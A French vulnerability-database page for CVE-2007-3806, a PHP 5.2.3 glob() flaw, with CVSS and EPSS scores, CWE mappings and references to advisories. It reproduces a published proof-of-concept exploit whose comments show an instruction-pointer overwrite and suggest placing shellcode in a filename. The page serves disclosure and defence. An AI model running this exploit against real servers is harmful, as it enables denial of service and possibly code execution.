CVE-2007-3806 : Détail

CVE-2007-3806

A03-Injection
1.86%V3
Network
2007-07-16
22h00 +00:00
2017-09-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The glob function in PHP 5.2.3 allows context-dependent attackers to cause a denial of service and possibly execute arbitrary code via an invalid value of the flags parameter, probably related to memory corruption or an invalid read on win32 platforms, and possibly related to lack of initialization for a glob structure.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 4181

Date de publication : 2007-07-13 22h00 +00:00
Auteur : shinnai
EDB Vérifié : Yes

<?php //PHP 5.2.3 glob() Remote DoS Exploit //author: shinnai //mail: shinnai[at]autistici[dot]org //site: http://shinnai.altervista.org //Tested on xp sp2, worked both from the cli (EIP overwrite) and on apache (Denial of Service) //Bug discovered with "Footzo" (thanks to rgod). //To download Footzo: //original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar //alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar //as you know, glob function expects an integer value passed to "[int $flags] " parameter //so when you give it something not integer (like -1) a funny thing happens: //I never seen something like that, EIP is overwrite with 4 bytes of filename :D //if you save aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb.php under C:\ and launch it //registers content will appear as follow: //EAX 00C0F8EC //ECX 00C0E9FC ASCII "C:\\aaaa" //EDX 00C0EC1C //EBX 00C0EC64 UNICODE "C:\\aaaa" //ESP 00C0E9F0 //EBP 00000000 //ESI 00C0F8EC //EDI 00C0EC74 //EIP 62626262 //any idea? put shellcode in filename :D glob("a",-1); ?> # milw0rm.com [2007-07-14]

Products Mentioned

Configuraton 0

Php>>Php >> Version 5.2.3

Références

http://secunia.com/advisories/30288
Tags : third-party-advisory, x_refsource_SECUNIA
http://osvdb.org/36085
Tags : vdb-entry, x_refsource_OSVDB
http://www.vupen.com/english/advisories/2007/2547
Tags : vdb-entry, x_refsource_VUPEN
http://www.exploit-db.com/exploits/4181
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.debian.org/security/2008/dsa-1572
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.gentoo.org/security/en/glsa/glsa-200710-02.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/30158
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26085
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1578
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/27102
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.php.net/releases/5_2_4.php
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/24922
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/bid/25498
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/26642
Tags : third-party-advisory, x_refsource_SECUNIA